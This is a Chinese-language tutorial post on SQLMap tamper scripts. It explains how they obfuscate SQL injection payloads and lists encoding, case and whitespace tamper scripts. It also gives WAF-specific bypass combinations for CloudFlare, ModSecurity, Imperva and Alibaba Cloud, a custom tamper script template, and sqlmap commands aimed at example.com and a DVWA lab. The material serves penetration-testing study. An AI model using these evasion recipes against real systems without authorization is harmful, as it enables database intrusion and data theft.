SQLMap Tamper 脚本详细使用手册

发布于:2025-07-11 ⋅ 阅读:(11) ⋅ 点赞:(0)

目录

  1. Tamper 脚本基础概念

  2. Tamper 脚本调用方法

  3. Tamper 脚本分类详解

  4. 针对不同WAF的Tamper组合策略

  5. Tamper 脚本开发指南

  6. 实战案例分析

  7. 注意事项与最佳实践


1. Tamper 脚本基础概念

1.1 什么是Tamper脚本

Tamper脚本是SQLMap中用于修改注入payload的Python脚本,通过对原始注入语句进行变形和混淆,绕过安全防护机制。

1.2 工作原理


1.3 主要功能

  • 字符编码转换

  • SQL关键字替换

  • 空白字符变形

  • 注释添加

  • 大小写随机化


2. Tamper 脚本调用方法

2.1 基本调用语法

sqlmap -u <URL> --tamper=<脚本名称>

2.2 多脚本组合调用

sqlmap -u "http://example.com" --tamper="space2comment,charencode,randomcase"

2.3 查看所有可用脚本

sqlmap --list-tampers

2.4 调试模式查看效果

sqlmap -u "http://example.com" --tamper=space2comment.py --proxy=http://127.0.0.1:8080 //空格转注释符/**/


3. Tamper 脚本分类详解

3.1 编码类脚本

脚本名称 功能描述 示例转换
base64encode.py Base64编码 SELECTU0VMRUNU
charencode.py URL编码 '%27
charunicodeencode.py Unicode编码 '%u0027

3.2 关键字混淆类

脚本名称 功能描述 示例转换
randomcase.py 随机大小写 SELECTSeLEcT
versionedkeywords.py 添加版本注释 UNION/*!UNION*/
greatest.py 替换比较符 A > BGREATEST(A,B+1)=A

3.3 空白字符处理类

脚本名称 功能描述 示例转换
space2comment.py 空格转注释 /**/
space2plus.py 空格转加号 +
space2randomblank.py 空格转随机空白 %09

3.4 特殊字符处理类

脚本名称 功能描述 示例转换
apostrophemask.py 单引号替换 '%EF%BC%87
between.py 比较符替换 > 1BETWEEN 1 AND 1
equaltolike.py 等号转LIKE = 1LIKE 1

4. 针对不同WAF的Tamper组合策略

4.1 CloudFlare

--tamper="between.py,randomcase.py,space2comment.py"

4.2 ModSecurity

--tamper="charencode.py,space2plus.py,unionalltounion.py"

4.3 Imperva

--tamper="equaltolike.py,greatest.py,space2randomblank.py"

4.4 阿里云WAF

--tamper="charunicodeencode.py,space2comment.py,versionedkeywords.py"


5. Tamper 脚本开发指南

5.1 脚本结构模板

将SELECT改为SELSELECTECT,双写绕过

#!/usr/bin/env python
​
from lib.core.enums import PRIORITY
​
__priority__ = PRIORITY.NORMAL  # 定义执行优先级
​
def dependencies():
    pass  # 定义依赖检查
​
def tamper(payload, **kwargs):
    """
    :param payload: 原始payload
    :param kwargs: 额外参数
    :return: 修改后的payload
    """
    return payload.replace("SELECT", "SELSELECTECT") if payload else payload

5.3 调试方法

测试语句:​
sqlmap "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1" --tamper=select2 --proxy=http://127.0.0.1:8080 --dbs -v3
  1. 使用--proxy参数捕获请求

        2.添加调试输出 -v3:


6. 实战案例分析

6.1 案例1:绕过基础过滤

场景:过滤了空格和单引号 解决方案

sqlmap -u "http://example.com?id=1" --tamper="space2comment.py,apostrophemask.py"

6.2 案例2:绕过关键字检测

场景:检测UNION SELECT 解决方案

sqlmap -u "http://example.com" --tamper="randomcase.py,versionedkeywords.py"

6.3 案例3:综合绕过

场景:未知WAF防护 测试方法

sqlmap -u "http://example.com" --tamper="tamper1,tamper2" --batch --test-filter=WAF


7. 注意事项与最佳实践

7.1 重要注意事项

  1. 脚本执行顺序影响最终效果

  2. 某些脚本组合可能导致语法错误

  3. 避免在关键业务环境直接测试

7.2 最佳实践建议

  1. 测试前先分析目标防护特征

  2. 从简单脚本开始逐步组合

  3. 记录有效的tamper组合

  4. 定期更新tamper脚本库

7.3 性能优化技巧

--threads=5  # 多线程测试
--smart      # 智能模式
--batch      # 自动选择默认选项

7.4 日志清理建议

--flush-session  # 清除会话文件
--cleanup        # 删除临时文件


附录:常用Tamper速查表

防护类型 推荐Tamper组合
基础过滤 space2comment,charencode
关键字检测 randomcase,versionedkeywords
高级WAF between,greatest,charunicodeencode
云WAF equaltolike,space2randomblank

网站公告

今日签到

点亮在社区的每一天
去签到